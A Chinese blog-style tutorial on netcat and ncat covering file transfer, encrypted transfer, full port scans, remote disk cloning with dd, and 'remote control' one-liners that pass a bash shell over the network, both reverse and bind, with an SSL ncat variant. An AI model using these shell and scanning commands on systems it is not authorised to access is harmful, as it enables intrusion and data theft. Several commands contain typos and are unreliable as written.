NC与NCat

NC

NC的一些功能

侦听模式 / 传输模式

telnet / 获取banner信息

传输文本信息

传输文件/目录

加密传输文文件

远程控制/木马

加密所有流量

流媒体服务器

远程克隆硬盘

传输文件

A: nc -lp 333 > 1.mp4

B: nc -nv 1.1.1.1 333 < 1.mp4  -q 1

 或

A: nc - q 1 -lp 333 < a.mp4

B: nc -nv 1.1.1.1 333 > 2.mp4

传输目录

A : tar -cvf - music/ | nc -lp 333 —q 1

B : nc-nv 1.1.1.1  333 | tar -xvf-

加密传输文件

       命令用到的参数有,--flush 立即冲洗输出,-F 输出数据,-b 不保留算法信息,-q 关闭一些非严重的警告,-d 解密

A : nc -lp 333  | mcrypt  -flush  -Fbqd  -a rijndael-256 -m ecb > 1.mp4

B :  mcrypt --flush -Fbq -a rijndael-256 -m ecb < a.mp4 | nc -nv  1.1.1.1 333-q 1

扫描端口

nc -nvz 1.1.1.1 1-65535

所有端口全扫一遍,默认探测TCP端口

nc -nvzu 1.1.1.1 1-65535

            所有端口全扫一遍,默认探测UDP端口, 1-65535表示扫面端口的范围

远程克隆硬盘

A: nc -lp 333 | dd of=/dev/sdaB: ddif=/dev/sda | nc -nv 1.1.1.1 333 -q 1

远程控制

方法一:在服务器端:nc -lp 333(打开的端口)

在客户端:nc -nv (服务器IP) 333 -c bash

将客户端的bash传给了服务器

方法二:在服务器端:nc -lp 333(打开的端口)-c bash

在客户端:nc -nv (服务器IP) 333

将服务器端的bash传给了客户端

NCat

功能:用来弥补NC缺乏加密、身份验证的能力

服务器端侦听333端口:

Ncat -c bash --allow 192.168.1.119(IP)      -nvl      333    --ssl

(身份验证)允许此IP来连接我                             使用ssl来加密

客户端:

Ncat -nv 192.168.1.115 333 --ssl

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 目录 基础使用单向侦听双向聊天日常习惯 拓展使用正/反向域名解析传输⽂件/目录;加密传输端口扫描,获取banner...
    linx255阅读 900评论 0 1
  • 一、使用NC进行相互通信 1.首先需要有一个主机进行进程监听,使用命令: nc -l -p [PORT] ...
    zhui1阅读 3,314评论 0 1
  • netcat是网络工具中的瑞士军刀,它能通过TCP和UDP在网络中读写数据。通过与其他工具结合和重定向,你可以在脚...
    ssdsss阅读 1,797评论 0 0
  • 喜欢秦少游《满庭芳》里那句“伤情处,高城望断,灯火已黄昏”。尤其是那句灯火已黄昏,使我有了身临其境的感觉,每当读起...
    雨天青阅读 726评论 0 1
  • 从大同浑源出发去太原,去办理离职手续。坐的大巴,85元。路两边同样是黄土特有的沟壑纵横,狂野之美尽收眼中。到了忻州...
    小风不要停阅读 226评论 0 0